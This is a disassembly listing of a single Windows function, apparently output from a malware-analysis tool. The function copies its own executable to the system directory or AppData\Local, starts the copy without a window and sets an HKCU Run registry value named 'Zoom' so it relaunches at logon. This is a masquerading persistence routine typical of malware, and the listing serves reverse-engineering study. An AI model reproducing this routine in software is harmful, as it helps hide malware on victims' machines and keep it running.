Function at 0x14000f970
Capabilities:
Copy file
Create process on windows
Get common file path
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push rdi
sub rsp, 0x7c0
mov rax, qword [0x14027c940]
xor rax, rsp
mov qword [rsp + 0x7b0], rax
mov r8d, 0x104
lea rdx, [rsp + 0x390]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, 0x104
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rsp + 0x390]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rdx, rax
lea rcx, [rsp + 0x180]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, str.AppDataLocal_
call fcn.14000b1f0
mov rdx, rax
lea rcx, [rsp + 0x5a0]
call fcn.140007400
lea rcx, [rsp + 0x390]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rdx, rax
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
nop
lea rax, [rsp + 0x5a0]
lea rcx, [rsp + 0x390]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x14000fa38
add rax, 2
test dx, dx
jne 0x14000fa22
xor eax, eax
jmp 0x14000fa3d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000fa4b
mov eax, 1
jmp 0x14000fd3d
lea rax, [rsp + 0x180]
lea rcx, [rsp + 0x390]
sub rcx, rax
movzx edx, word [rax]
cmp dx, word [rax + rcx]
jne 0x14000fa74
add rax, 2
test dx, dx
jne 0x14000fa5e
xor eax, eax
jmp 0x14000fa79
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000fa87
mov eax, 1
jmp 0x14000fd3d
xor r8d, r8d
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000fb64
lea rdx, str.Module_copied_successfully_to:
lea rcx, [0x140289cb0]
call fcn.140004120
lea rdx, [rsp + 0x180]
mov rcx, rax
call fcn.1400097d0
lea rdx, [0x140006e90]
mov rcx, rax
call fcn.1400097b0
mov dword [rsp + 0x70], 0x68
lea rax, [rsp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 1
xor eax, eax
mov word [rsp + 0xb0], ax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x14000fc78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x58], eax
lea rdx, str.Failed_to_copy_module_step1:
lea rcx, [0x140289de0]
call fcn.140004120
mov ecx, dword [rsp + 0x58]
mov edx, ecx
mov rcx, rax
call fcn.1400095c0
lea rdx, [0x140006e90]
mov rcx, rax
call fcn.1400097b0
nop
xor r8d, r8d
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000fc68
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x180]
call fcn.140007400
mov dword [rsp + 0xe0], VarBstrFromDisp
lea rax, [rsp + 0xe8]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov dword [rsp + 0xe0], VarBstrFromDisp
mov dword [rsp + 0x11c], 1
xor eax, eax
mov word [rsp + 0x120], ax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x5a0]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x14000fc78
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000fd22
lea rax, [rsp + 0x180]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], 0xffffffffffffffff
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
cmp word [rax + rcx*2], 0
jne 0x14000fcb9
mov rax, qword [rsp + 0x50]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Zoom
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x7b0]
xor rcx, rsp
call fcn.1401ae750
add rsp, 0x7c0
pop rdi
ret